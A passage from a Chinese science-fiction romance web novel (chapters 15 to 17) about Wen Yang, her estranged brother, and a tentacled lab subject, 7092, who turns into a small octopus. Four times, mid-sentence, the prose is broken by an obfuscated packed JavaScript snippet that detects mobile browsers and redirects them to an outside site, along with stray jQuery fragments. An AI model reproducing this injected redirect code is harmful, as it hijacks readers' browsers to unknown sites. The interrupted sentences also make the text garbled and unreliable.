闻澜冬的声音带着一种压迫感,他狭长的眼睛被金丝眼镜挡住,如同淬冰般地道:“你同闻央不合的事我知道,但到底是什么仇什么怨能让你做到如此地步?”
“闻松凌,你还当自己是小孩子,把一切当儿戏,全世界都要围绕你转吗?”
莫名地,闻松凌紧绷的背松了下来,他和闻澜冬的眼睛对视,态度软和,“哥,我错了。”
闻澜冬看着这个从小看着长大的弟弟,忽然想到他小时候的样子。
很皮的小男生,每天乐呵呵得露出一个黝黑的大牙缝,就没有一天看不到那张嘴不咧开的。
他还记得闻松凌小时候偷偷让闻央帮他做作业,后来被他和闻岚溪发现,揍了一顿,那时候的闻松凌即使被揍也嬉皮笑脸的。
不知何时,关系很好的闻央和闻松凌形同陌路,又不知何时闻松凌的脸上再也没有出现笑容。
闻澜冬记不清了,公司事务繁忙,他许久没空好好看看自己这个弟弟了。
“你走吧。”
他低声道,把自己挂在椅子上的西装丢过去,“穿上吧,别丢人现眼。”
闻松凌颔首,抓住衣服后朝大门走去。
他转身后,闻澜冬盖住钢笔的笔帽,静静地看着他,直到那扇大门打开又关闭。
闻松凌关上大门后,下一秒急忙拿起终端,一条讯息倒映在明亮的眼瞳上。
“给你一刻钟时间,不来我就走了。”
他迅速地编辑回复:“马上。”
发完,闻松凌匆匆把衣服披上,快步朝电梯走去。
......
“滴!滴!滴!”
急切响亮的车鸣声接三连四,一辆悬浮车开得又急又快,不停地在车队里穿插着,若不是车辆自带自动避让系统,不知道它会撞到多少辆车。
“着急投胎啊!”
一辆险先被蹭到的悬浮车车主气不过,用力地猛敲喇叭,随后他透过车窗看到那辆像是喝醉的酒鬼开的悬浮车在接连违规两次后,被城市之眼锁定,追踪着出示红色警告牌。
他冷哼一声,驶着悬浮车朝着另一个方向转去。
而此时那辆被警告的悬浮车内正传来温和的机械音,“已检测到您具有超速、违规变道等危险驾驶行为,若不立即纠正以上行为,诺亚将接管车辆操作,以保证行驶的安全。”
“再次播报,已检测到您具有超速
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880993|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.......”
诺亚尽职尽责地重复着。
窗外有五六个城市之眼闪烁着急促的红色灯光,发出尖锐的啸声,试图逼停车辆。
“您好,为了保证您和其他人员的生命安全,现在由诺亚人工智能驾驶系统接管车辆操作。”
悬浮车停了。
方向盘不受控制,闻松凌一拳捶在上面,诺亚依法打开了车窗。
城市之眼约莫篮球大小,整体呈流线型设计,银白色的外壳反射出锃亮的光,中央镶嵌着一枚黑色的摄像头,移动的同时闪烁出点点微光,宛若一个巨型的机械瞳孔。
它转向闻松凌,动了动,从顶部吐出几张罚单来。
“处罚信息已同步至交通管理系统,请在三个工作内日处理罚款。”单调的电子音响起。
“收到,我们接下来会遵守交通规则。”诺亚温和的机械音回复道。
城市之眼的灯光闪了闪,红光消失,朝高空飞去。
车窗关闭,悬浮车平稳缓慢地朝着目的地驶去。
到达餐厅的时候,刚好是约定的时间。
闻松凌踹开车门,下车后,径直朝餐厅内跑,仿生机器人先生伸手拦住,微笑道:“这位先生,请问您有预约吗?”
“有。”
他极快地用终端碰了碰仿生机器人的胳膊。
“识别通过,允许通行,欢迎您的光临......”机器人先生念着欢迎词,闻松凌已经绕过去,匆匆寻找起来。
下一秒,他的视线僵住,早就预定好的餐桌旁空无一人。
他下意识瞥向墙壁上巨大的时钟上,钟摆摇摆着,恰好是超过约定好的时间两分钟。
这么准时的吗?
闻松凌苦笑,步伐慢下来,原本精神一直紧绷着,如今突然泄气,只觉得膝盖酸痛,背后的伤口传来如蚂蚁咬噬般的痒意。
他走近了。
他看到椅子上有个小巧的女士挎包。
她还没走?
察觉到身后似乎有动静,闻松凌立马扭头,身后有一个人。
她白色衬衫外套着黑色双排马甲裙,及腰的灰发静默地披在身后,似是被他的举动吓到,眼眸微微睁大,下一刻又恢复平静。
闻央甩了甩半湿的手,拿起桌上洁白的布巾一根根手指地擦拭着,言简意赅地道:“你迟到了,我刚刚去了洗手间。”
说完,她拿起餐椅上的女士挎包,一副要走的样子。
她纤细白皙的手腕被抓住。
“我要走了。”闻央垂着眼,没动,继续阐述道。
“就陪我吃顿饭,好吗?”闻松凌的语气甚至带上一丝哀求。
不好。
闻央在内心轻轻地回答。
她转过身,把自己的手一点点地从他的手里抽回来。
她避开闻松凌恳求的眼神,陡然间,一股淡淡的血腥气钻入鼻腔。
“你受伤了?”闻央下意识问道。
“嗯,刚刚大哥打的。”
指尖温热的触感溜走了,闻松凌失落地把双手放在身侧,想一下后,补充道:“因为那场火......”
两人心知肚明。
闻央抬起微垂的浓密睫毛,似笑非笑,“好,二哥,我陪你吃饭。”
“虽然你来迟了,但毕竟这是我们的交易,下不为例。”
15. 触手怪物(15)
闻央和闻松凌这顿饭吃得有些尴尬。
一来他们确实许久未见了,纵使小时候两人亲密如间,但彼此错过了人生几年,一时不知道说些什么。
二来闻松凌的性格同以前相比沉闷不少,他不说话,闻央自然也不知道怎么开口。
餐桌上只有餐具碰撞的声音。
“啪。”
闻松凌手中的叉子掉到了餐桌上,发出清脆的撞击声。
闻央抬起眼,看见他手止不住地颤抖,眼中流露出一丝痛楚。
见此,她不能没心没肺地继续吃,只好放下餐具,“你没事吧。”
他手指微微蜷缩,呼吸声加重,过了会道:“没事。”
鼻尖萦绕着若有若无的血腥味,闻央蹙眉,问:“你是不是没有包扎伤口?”
闻松凌没有回答。
闻央站起,绕到他身后,只见深色西装上布料被浸湿,晕开一片血迹。
“这样不行,还是包扎一下吧。”
“嗯。”
闻央叫来了仿生机器人先生,拿来了餐厅备用的急救医药箱。
“帮他处理一下吧,谢谢。”
“好的。”
闻央接过闻松凌脱下的西装外套,瞥了眼伤口。
闻澜冬下手真不轻,裂开的创口仿佛一张张狰狞的嘴,皮肤肿胀泛红,部分血肉已经和衣服黏在一起,刚刚脱衣拉扯时,闻松凌的额头已满是冷汗。
机器人先生剪开衣服,让伤口完全地暴露出来,然后拿起旁边的消毒喷雾,面带微笑,一阵猛喷。
闻松凌整个人疼得发抖,他咬紧牙齿,空气从牙齿的缝隙经过,发出小声的“嘶”声,小麦色的脸微微泛白。
“闻先生,伤口已经清洁完毕,请问是否需要使用生物凝胶?”
他痛得说不出话来,闻央帮他回答道:“需要。”
机器人先生点点头,嘴角扬起不变的弧度,从医药箱中拿出一个液体状的蓝色凝胶,拉扯到一定大小后,把它贴到闻松凌的脊背上。
“等四十分钟后伤口长好便可以取下凝胶,建议今日淋浴避开伤口,新长出来的伤口可能会有颜色不均等问题,后续可以进行疤痕美容处理。”
他恪尽职守地冲两人点点头,随后关上医药箱离开。
闻央把西装外套递过去,闻松凌的面色好些了,接过外套,声音微哑:“谢谢。”
他一边穿,一边抱歉地道:“今天失礼了。”
“没事,这本来就是我们的交易。”
闻央满不在乎地说,她回到座位上。
闻松凌微微一怔,嘴角勾起淡淡的笑,笑容里却带着几分无可奈何的疲倦和自嘲。
一餐结束,桌上的长烛近乎燃尽,白色的蜡油滴落在烛盏里,在上面凝固成厚厚一层。
夜深了,窗外是璀璨的夜景,前方是繁华的商业区,不知道是谁在庆生,无数绚丽的烟雾上升至高空,在空中留下“生日快乐”四个大字。
彩色的字体停留在高空许久,旁边出现一道道霓虹色的烟花,闪耀得所有人都能看见,隔着落地玻璃窗,闻央还能听到窗外若隐若现的欢呼声。
她不自觉地笑了笑。
“谢谢你那天给的生日礼物。”耳边传来闻松凌低沉的声音。
闻央的思绪猛地被拉回几年前,那时正是闻松凌的成年礼,她攒了许久的零花钱买了一个专业的声域捕获仪。
彼时闻松凌的梦想还是当一个歌唱家,声域捕获仪是收音设备,价格不菲,专业的更是。
但没想到那次送礼竟是他们最后一次交谈。
那天,闻松凌莫名其妙对她发了一通脾气,然后两人赌着气谁也不理谁,后来闻央读大学,闻松凌参军,两人都极少回家,碰面了也是不咸不淡地打个招呼。
闻央收敛笑意,垂眸,“我还以为你丢了呢。”
“我没丢,”他极快地否认道,然后撇开眼,“我把它收到家里了。”
闻央没再回答。
她拿起挎包,站了起来,笑眼盈盈,“很晚了,我要走了,既然交易是满足你三个要求,这次吃饭是一次,那就还剩两次。”
“你想好了吗?二哥。”
.......
回到家时,夜已深了,如蜂窝般密布在高楼上的大半窗户熄灭了灯光,黝黑得像是一只只机器人的眼睛。
闻央想到明天不用上班,整个人都松懈下来。
她现在属于无业人员,诺亚联邦大学正在期末考,而她已经结课,不需要去了。
实验室被一把火烧得干干净净,她自然也不用去。
一踏入家门,屋内是舒适的温度和湿度,诺亚平和的嗓音响彻整个公寓。
“欢迎回家,诺亚已将室温调到23度,调整光线至柔和状态,请问要开启睡眠模式吗?”
“暂时不用。”
“好的,如您有需求,请告诉诺亚,诺亚一直都在。”
闻央看了看天花板,上面洁白光滑,甚至连一条缝隙都没有,但她知道里面嵌着人工智能的芯片,这块芯片控制着整个屋子,除非把它关闭,不然诺亚会一直在后台监测。
一旦关闭,屋内自带的温度调节系统也会关闭。
保护罩内遵循着诺亚星同古地球相同的四季规律,过段时间诺亚星即将迎来冬季,保护罩内的温度也会随着诺亚星的冬季调节下降。
或许她需要买些制热设备。
闻央这样想着,打开了电脑,无数数据在电脑上飞快地跑动着,她看了看后,打开了客厅墙壁上隐藏的大门,
迎面而来的是一股偏冷的风。
风里裹挟着海洋的味道,并不难闻,凉爽中带着点点湿意,一踏入,仿佛置身于古老的海洋,让人一下就遥望见湛蓝的海面以及海面下时不时翻滚的神秘生物。
闻央走到笼子前,青年躺在如霸王花般的粉色触手上,他闭着眼睛,眉毛舒展开来,似乎睡得很香。
他把触手尖尖们从笼子的间隙探出,舒服地放在泳池里。
像是察觉到动静,青年稠密的银白睫毛颤了颤,随后睁开,露出一双如蓝宝石般清透的眼眸。
“闻央。”身下的触手蠕蠕而动,青年却没有动,他侧躺着,像是还没睡醒,看见她轻轻地叫了一声。
“你会把我送回实验室吗?”过了半晌,他低低的声音传来。
闻央一怔,回答道:“不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886789|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会。”
被关起来后,青年突然变得温顺起来,每天不是躺在触手上睡觉,就是整个人虽然醒着,但看上去不太清醒的样子。
若不是他偶尔会说说话,闻央都怀疑是那天的电流太高,把他的脑子电坏了。
因为7092的不挣扎和不反抗,她关闭了笼子上的电流,以防他误触,然后又被电一遍。
青年此刻确实很困,这不是单纯的困意,而是一种骨子里泛滥出来的困倦,困得他近乎睁不开眼,同时体内似有什么在蠢蠢欲动,不舒服极了。
像是被烫伤的创口,表面只是泛红,皮肉深处是火辣辣的热度,又像是什么东西正在分裂,一点点地弥漫开来。
青年靠在自己的触手上,软弹的触感带来一种安心的感觉,为了能更清楚地看到闻央,头侧了侧,一缕银白色的头发落到了睫毛上,他不舒服地眨了眨。
陡然间,他鼻尖里钻进了一股若有若无的雄性味道。
这股味道透露出的内容让青年不喜,像是一只在墙角乱撒尿的野狗,胡乱标记着不属于自己的东西。
同时,这股发臭的雄性气味闻上去十分孱弱,这样弱小之物居然敢在他面前卖弄,让青年不屑又鄙夷。
困意瞬间退散,他蓦地清醒了,用胳膊支撑着起来,充满敌意地道:“你身上是什么味道?”
闻央被问得愣了一下,低头看了看自己的衣服,她还没来得及换家居服,穿着方才在餐厅的白色衬衫和马甲裙,洁白的袖口上干干净净,没有沾染到脏污。
“很臭,”她第一次见到青年如此强烈的厌恶神情,他用手捏住鼻子,皱眉道,“很难闻。”
好恶心的味道。
纵使捏着鼻子,但是属于雄性的骚臭气味不断地扑面而来,里面夹杂的信息下流肮脏。
这是属于人类雄性的气味。
那道该死的味道始终停留在她周身,死死地缠绕着,此刻那个弱小的雄性不在这里,若是在......
他一定会用触手立马把他绞死,青年的眼眸中露出一丝妒火。
陡然间,他想起,她是人类,两条腿的人类。
所以,她喜欢那种只有两条腿的脆弱雄性吗?
而自己——
青年下意识用指尖抓了抓身下的触手,是软趴趴的触感,颜色粉嫩的触手上还有繁复美丽的花纹。
之前实验室里的教材上有提到很多女孩喜欢粉色的东西,但他没见闻央身上出现过粉色。
如今他的触手尖尖焦黑一片,看上去有点丑陋,不知道何时才能好。
青年有些自卑地低下头,长长的睫毛遮挡住眼中的神色。
可是......人类的腿不能随意弯曲还没有好看的花纹,他就不一样了,他的触手还会变色呢。
脑海里响起闹闹哄哄的声音。
“对呀,我们可好看了,妈妈不会不喜欢的。”
“那个雄性的味道真刺鼻,我好想弄死他。”
“就是,闻起来就弱得要命,还透露出一股耀武扬威的味道。”
“没事没事,妈妈一定喜欢我们,你看,她不舍得把我们送回实验室。”
触手们纷纷安慰他。
16. 触手怪物(16)
闻央去洗澡了。
她想到今日抱了闻松凌染了血的西装外套,虽然很小心地避开了血迹处,但可能还是沾染上了些许。
淋浴喷头开到最大,温热的水哗啦啦地流着,白色的蒸汽上升着,逐渐填满整间浴室。
灰色的发顺着水流一簇簇地贴在皮肤上,闻央整个人置身于水流中,闭上眼用手抹了抹脸。
7092的眼神很不一样。
她见过太多野性的眼神,残暴、冰冷、毫无人性,更多的是一股吞噬血肉的狠劲,但银白短发的青年不一样。
或许说他刚醒来时就不一样。
他的眼里拥有各种各样的情绪,闻央甚至觉得他刚醒来时并不是一张白纸,就像失忆的人类,虽然没有记忆,但是核心性格早已确定的。
明明出自实验室,但闻央觉得他不是人造物。
他完美到像是个意外。
因此,在实验体7092后,大家都在努力寻找这次实验成功的原因,试图复刻他,但是都失败了。
这也是为何实验成功,最后却被叫停关闭实验室的原因。
7092的存在不可比拟,无法复制。
所以,对公司来说,他没有价值,除了继续浪费人力物力,带不来一丝可预见的利益。
但7092的成功对闻央的意义深远。
水温有些烫了,闻央调低了一些,不知为何她的头隐隐作痛,按了按太阳穴后,放空思绪任凭温水在脸上冲刷。
洗完后她连打几个喷嚏,摸了摸额头,微烫,但困意席卷下,闻央钻进被窝,盖上被子睡着了。
第二天一早醒来,大脑好像被一块沉甸甸的石头压着,脖颈沉重得近乎抬不起来,闻央心道不妙,测了体温后果然感冒了,而且是来势汹汹的重感冒。
她往头上贴了一片恒温因子,这是一种凝胶状的生物合成液,上面的纳米分子穿透皮肤表层后直接作用于下丘脑热平衡中枢,不过五分钟,体温便会降至正常温度。
温度一降低,头不那么痛了,但闻央的步伐还是虚的,她走到书房,浏览起昨天拷贝到电脑上的数据。
很快,时间便到中午了。
肚子不满意地咕咕叫起来,她饥饿辘辘地去厨房拿了瓶牛奶,用牙尖咬开瓶盖后,猝然间瞟到了摆放整齐的营养液。
7092应该饿了吧?
她咕噜噜地喝完牛奶后,抱着营养液走进了那道大门。
方才从监控中看,青年一直在睡觉,还没有醒来。
以往青年再怎么熟睡,但只要闻央走近,他都会醒来,这次直到她走到笼子旁边,他都没有睁开眼睛。
“7092?”她小声地叫着。
没有动静。
青年把脸埋在触手上,只能看见一个毛茸茸的银白色后脑勺。
闻央把营养液放在地上,从口袋里拿出刚才顺手拿的一次性硅胶手套,套上后犹豫了片刻,打开了笼子的门。
往常活泼的触手瘫倒在地上,甚至连一丝起伏都没有,闻央甚至都听不到他的呼吸声。
“7092?”闻央不放心地用手指戳了戳他的头。
家中没有实验室里那么多的专业设备,可以实时监测实验体的身体情况,但照理说他状态早已稳定。
闻央正准备回屋内拿些仪器来,听到青年嘟嚷了一声。
好像还有意识。
她停下脚步,打算先把他翻过来看看,于是两只手抱住他的头,手脚并用地把他翻了个身。
她这才发现他身上的温度高得惊人,原本苍白的面颊变得殷红,连带着嘴角的那粒粉色的小痣也变得艳丽夺目。
这是......发烧了?
因为高烧,他整个人水分蒸发不少,变得干巴巴的,闻央摸了摸触手,不仅滚烫,而且先前摸起来柔软的触手摸上去有点硌手。
青年的眼睛微微睁开一条缝,在银白睫毛的遮挡下露出一点蓝来,他盯着闻央,一声不吭。
闻央用手背贴着他的额头,得出结论:“你需要到水里去。”
她一边说着一边站起来,打算离开。
青年看不清闻央的脸,他的眼睛干得发痛,勉强睁开后一阵模糊,刺眼的白炽灯打在女人的头顶,只能看见她光滑白皙的下巴。
她在俯视他,居高临下地俯视他。
而他躺在地上,像条苟延残喘的鱼。
体内宛若有着熊熊烈火,火舌一寸寸地撩着他的内脏,干得皮肤崩裂般地疼,在这股痛苦的火之下似乎还隐藏着即将破土的欲望。
青年看到灰发女人背对笼子走了出去,手中动作不停,似乎在摆弄操纵杆。
笼子的门没有关好,他用上最后一丝力气伸出触手。
一条触手席卷拽住闻央的脚踝。
笼子上方粗壮的金属链条“咔嚓咔嚓”地响着,巨大的笼子被提到了空中,随后随着响亮的一声“砰”,水花四溅,整个笼子连带着里面的青年落入水中。
始料未及下,闻央也被那条微焦的触手拖入了水中。
额头上的恒温因子被水冲散,灰发在水中四处飞舞着,额头上滚烫的热度一霎那上来,又被冰冷的水压下去。
好冷。
她的牙齿微微发颤,大脑变得不清醒起来。
水流堵塞耳朵,闻央什么都听不见了,水波震荡,唯一的支点只有脚上紧紧缠绕的那条触手。
那条粉色的触手似乎也累极了,但仍然缓慢而坚定地拽着她,一点点地把她往青年的方向拉。
青年双目紧闭,整个人连带着触手渐渐沉底,他宛若被包裹在一朵摇曳美丽的粉色水生花中,他是花中人,只是不知道是花太过庞大还是他是小人国中的一员。
明明不清醒,但那条绕在闻央脚踝上的触手凭着本能把她拉了过来。
头晕晕沉沉的,她觉得自己坠落在无尽深渊,窒息的水环绕在鼻间,直到撞进了一个怀抱。
空气,需要很多很多空气。
闻央这样想着,睁开了眼,看到了一粒可爱的粉色小痣。
她咬住它。
然后吻上了旁边的唇。
她急促地亲着,掠夺着青年胸腔中的空气。
空气,不只是空气,或许说是裹着炽火的海风,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894313|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烈焰中又带着一丝凉意,在冰火交加的循环中,空气陡然消失,连带着死死缠绕着她的触手。
闻央努力睁开眼,看见一个巴掌大的淡粉色章鱼。
章鱼晃了晃触手,在水中游曳,最后化为了一张图片,周围的水都消失了,泳池也不复存在,眼前是一间类似实验室的纯白空间,桌上堆放着七八糟的资料,那张图片摆在最上面。
“妈妈,这是什么?”肉嘟嘟的手指指向那张图片上。
说话的一个小女孩,她的个头才到成年人的大腿处,留着齐刘海娃娃头,灰色的头发下是一双独特的灰色眼眸。
图片有些模糊,拍摄的是洞穴里的壁画,壁画上图案闻央倒是很熟悉,这是她爸爸妈妈每日都在研究的东西。
妈妈没有理她。
小女孩瞥了眼一脸专注的妈妈,走到桌子前翻阅起来。
“.......来自瑟拉托尔家族。”她念出声来,惊扰了沉浸在工作中的妈妈,穿着白大褂的女人如梦初醒,把头从小山似的资料中抬了起来。
她面庞的轮廓生得和女孩有几分相似,但是眸色更深一些,眉眼也更加深邃,高鼻梁上布满雀斑,一看就是西方人的长相。
“哦,那是一个信仰火山的家族寄来的珍贵影像,拍摄地点是一千多年前的地球吧,这个家族的成员在追寻火山时发现了原始人的壁画,觉得挺有意思就拍了下来,保存至今。”
壁画上画着一堆人,他们宛若在祭祀般地围着一个庞大的章鱼,章鱼躺在精美的高台上,触手栩栩如生。
闻央收回了目光,眼巴巴地看着妈妈:“你布置的习题我都做完了。”
“好孩子。”妈妈敷衍地回答,又把头埋进资料里,对着繁多的数据愁眉苦脸。
小女孩看了半天,妈妈很沉浸地工作。
妈妈说过工作的时候不能打扰她。
她攥着桌子的手默然松开,下一秒捂住了空荡荡的肚子。
肚子好饿啊。
闻央一张包子脸皱起来,忽然想起柜子里还有几片面包。
她昨天看见妈妈狼吞虎咽几口后随手搁置在柜子里。
她姿态板正地朝柜子走去,走路轨迹近乎一条直线。
........
好饿啊。
这是闻央醒来的第一感受。
胃在暗暗发紧,似乎是抽搐,又是一种痛苦的下坠感。
好像梦到了妈妈,叹口气后,她摸了摸额头,温度正常。
万幸,烧退了。
因为高烧带来的浑浑噩噩消散了,大脑变得清明,闻央坐起来,发觉自己躺在泳池旁边。
笼子空荡荡的,她望向泳池,里面只有清澈见底的水,丝毫不见青年的踪影。
她努力回想昏迷前的一切,她似乎亲了他,然后……
然后她好像看见了一个粉色的小章鱼。
小腿上传来黏黏糊糊的触感,似乎有什么在爬,她蓦地看去,只见一个手掌大小的粉色章鱼正看着她。
“7092?”她迟疑地道。
小章鱼抬起微焦的触手尖尖,朝她滋水。
17. 触手怪物(17)
这很难办。
闻央盯着钻进玻璃罐的章鱼,有些头疼。
时间回到半个小时前。
她捧着粉色小章鱼,试图和他对话,但他只会朝她滋水。
而笼子的缝隙太大,根本关不住一个小章鱼,若是把他留在这里......
闻央环顾四周,这里空旷得一说话就有回音,若躲在某个角落,找起来都不容易。
再三犹豫下,她捧着小章鱼走出了大门。
因为太饿,她去厨房找吃的时候,小章鱼看到了方才喝剩的牛奶罐,偷偷摸摸地钻了进去,等闻央回过神,他已经蜗居在里面,一动不动。
“快出来。”
闻央敲了敲玻璃罐,里面的小章鱼藏起小脑袋,触手尖尖动了动。
她举起玻璃罐,放在光下,看见小章鱼偷偷地睁开湛蓝色的眼睛,对视后,慌慌张张地闭上,那如同花瓣尖的粉色触手挡住了自己的眼睛,死皮赖脸地贴在玻璃罐上,一动不动地装死。
金属水龙头在光下闪烁出刺眼的白光,闻央看了看水池,又看了看手中的玻璃罐。
“哗啦哗啦。”
水流冲刷着玻璃罐,粉色小章鱼似是没料到这一幕,连忙摇摆自己的触手,但闻央的动作快准狠,一下揪住一根在随着水流摇来摇去的小触手,把整只小章鱼提了出来。
他挣扎着,在空中扭来扭去,晶莹剔透的水珠顺着触手滴滴落下。
闻央一把握住,他滑溜溜的,不太好抓,于是用虎口握紧,只留章鱼一个粉色的小脑袋露在手指外面。
他宝石蓝色的眼珠咕噜咕噜地转着,头光溜溜的,试图出去,然后,被一只大拇指强行压下去。
小章鱼的头被压扁了,下一瞬又恢复原样。
“不许动哦。”闻央警告着。
她忽然想到之前打算养鱼,准备了小型鱼缸,后来没养成,现在鱼缸倒是派上用场了。
闻央捏着蠢蠢欲动的小章鱼,朝收纳柜走去。
“噗嘟。”
小章鱼被无情地扔到鱼缸里,闻央在里面加了一些水,盖上盖子。
仿佛是摔晕了,他不挣扎不反抗,芝麻大小的蓝眼睛隔着一层玻璃直勾勾地盯着她。
闻央看了他一眼,朝书房走去。
她没搞清楚7092现在是什么情况,坐在书桌前搜寻资料。
“啪叽。”
“啪叽。”
“啪叽。”
有规律的敲玻璃声萦绕在闻央耳旁,敲击声虽然轻微,但源源不断,可见其主人持之以恒的心性。
她烦躁地盖上笔帽,把写满数据的纸张揉成一团,扔到了桌下的垃圾篓里。
鱼缸被搬起。
小章鱼不敲玻璃了。
他睁大眼睛好奇地盯着四周,直到进入书房。
小型鱼缸被搬到了书桌上,因为太过沉重,放下时太早卸力,整个鱼缸乃至玻璃壁都震了震。
小章鱼在里面东倒西歪,两只眼睛近乎靠在一起。
过了会,他清醒了,看见闻央,高兴地抬起触手尖尖摇了摇,然后他用触手沾了点水,在玻璃壁上比划来比划去。
他用底下的水写了一个诺亚通用语的“水”字。
“你需要更多的水吗?”清凌凌的女音响起,与此同时,随着一声“咔”,是水瓶盖被拧开的声音,咕噜噜的水倒下去,小小的鱼缸被灌了个半满。
粉色的小章鱼舒爽地眯起眼睛,像水母一般地游来游去,快乐地吐泡泡。
“你会写字,你是7092吗?”
闻央有些怀疑,眼前的小章鱼虽然熟悉,但行为举止看着退化到幼年了。
小章鱼的动作停了下来,点点头又摇摇头,最后见闻央久久地盯着他不放,宛如害臊一样,全身变成浓郁的粉红色,闭上眼,用细细小小的触手一敲脑袋,假装自己晕倒了。
他浮在水中,像一朵玫瑰。
闻央这下确定了,7092的主脑应该还在沉睡,而眼前这个小章鱼应该是由他另外八个副脑控制。
小章鱼的眼睛悄悄睁开一条缝,正好和闻央的目光撞到。
他吓得挥了挥触手,整条章鱼在水中晃了一圈,最后背对过去,留一个光溜溜的粉脑壳对着闻央。
灰眸女人沉默地看着他,小章鱼的触手尖尖焦黑一块,他似乎有点疼,把尖端卷了起来,看上去可怜巴巴的。
闻央继续查阅手中的资料,过了许久,“易感期”三个字映入眼帘。
易感期吗?
她看向鱼缸里的粉色小章鱼,他看上去真的睡着了,蜷缩的触手伸展开来,头朝上,眼睛闭着,嘴巴一张一合的,吐出一串泡泡。
闻央把手指伸进鱼缸,戳了戳小章鱼。
章鱼是冷血动物,照理说体温应该同水温差不多,但他朝上翻的肚皮烫烫的。
粉色小章鱼似是察觉到了什么,眯着眼睛,用触手亲昵地缠着她的手指。
......
接到闻松凌通讯的时候已是下午。
按照交易,闻松凌可以提三个不过分的要求,但他两次要求都是见面吃饭。
闻央真的搞不清楚他在想什么。
她如约来到那家饮料店。
“叮铃铃。”一推开门,上面挂着的一排风铃相互碰撞,发出清脆悦耳的声音。
店内的陈设十分眼熟,还是同多年前一样,若不是闻松凌的邀约,闻央几乎忘了这家店。
闻松凌已经到了,带着鸭舌帽的男人坐在角落,衣服上印出胸肌轮廓,他垂着头摆弄饮料里的吸管,和旁边嬉笑打闹的孩子们格格不入。
闻央坐了下来。
一杯红色的果汁推到了她的手边。
这是闻央小时候最喜欢的饮料,放在现在看或许并不健康,但......
红色果汁顺着透明的玻璃吸管吸入口腔,满嘴都是清甜的果味,她的神色逐渐软和。
旁边桌的小孩拿出作业,认真地趴着写,写一会又和同学玩耍起来。
放眼店内,大部分顾客都是附近学校放学的小孩。
小时候闻央和闻松凌常来这家店,这里是他们当年经常坐的位置,只不过店内的桌椅不再崭新,上面密布的划痕寓意着岁月的流逝。
一张花花绿绿的塑封菜单推到闻央面前。
“你有什么想吃的吗?”
闻央随之望去,上面的小吃饮料都是记忆里的样子。
“这么多年了,居然都没变......”她呢喃道。
“嗯,味道也没变。”闻松凌猛吸一口吸管,杯子里的果汁见底,他挥了挥手,示意机器人小姐过来。
机器人小姐不是现在足以以假乱真的仿生人,她下半身是一块裸露在外的金属板,滑行过来时,腿部的关节在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900668|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哐哐”地响。
她打开金属肚皮,从里面掏出润滑油,面不改色地朝发出摩擦声的地方滴油。
“请问您需要什么?”
她靠了过来,看到闻央后顿住了,简易的机械眼里闪过滋滋电流,惊喜地道:“是你。”
“你都长这么大了,”机器人小姐又看向闻松凌,眼睛的电流飞速流转,似乎在进行对比,片刻后诧异地道,“这是你哥哥吧,他的变化真大。”
闻央也没预料到居然还能看见童年时期的机器人小姐。
“莱恩小姐?”她在大脑内搜索了会,迟疑地喊。
莱恩小姐露出满足的微笑,“是的,你还记得我。”
“我还记得你俩最爱吃锅巴土豆,如果没记错的话口味是微辣微甜,请问要来两份吗?”
“好的,谢谢你。”思绪一下被拉回以前,闻央怔了好一会才回答道。
“不客气,应该的。”莱恩小姐耐心地等待到答复后才离开。
闻央看向闻松凌,沉默了一会,忍不住问道:“你到底有什么事?”
她不信他只是单纯来怀旧。
男人压低帽檐,顿了顿,声音微哑,“我买了一间别墅,里面有你实验室的全套全新设备。”
闻央微抬眉梢,不觉得他那么好心。
正等他说下去,一道黑影从头上投下。
“好巧,”闻岚溪穿着一身运动服,双手叉腰,微微喘气,有些诧异地盯着两人,“你们俩......”
闻松凌的声音蓦地停住,低下头用玻璃吸管戳着杯壁。
闻岚溪在闻央对面坐下,招手叫来了莱恩小姐,道:“来杯柠檬水。”
莱恩小姐顺手把锅巴土豆端了过来,“好的,请慢用。”
闻岚溪用纸巾擦去额头上细密的汗珠,笑着说:“我没想到你们俩还会单独出来吃饭。”
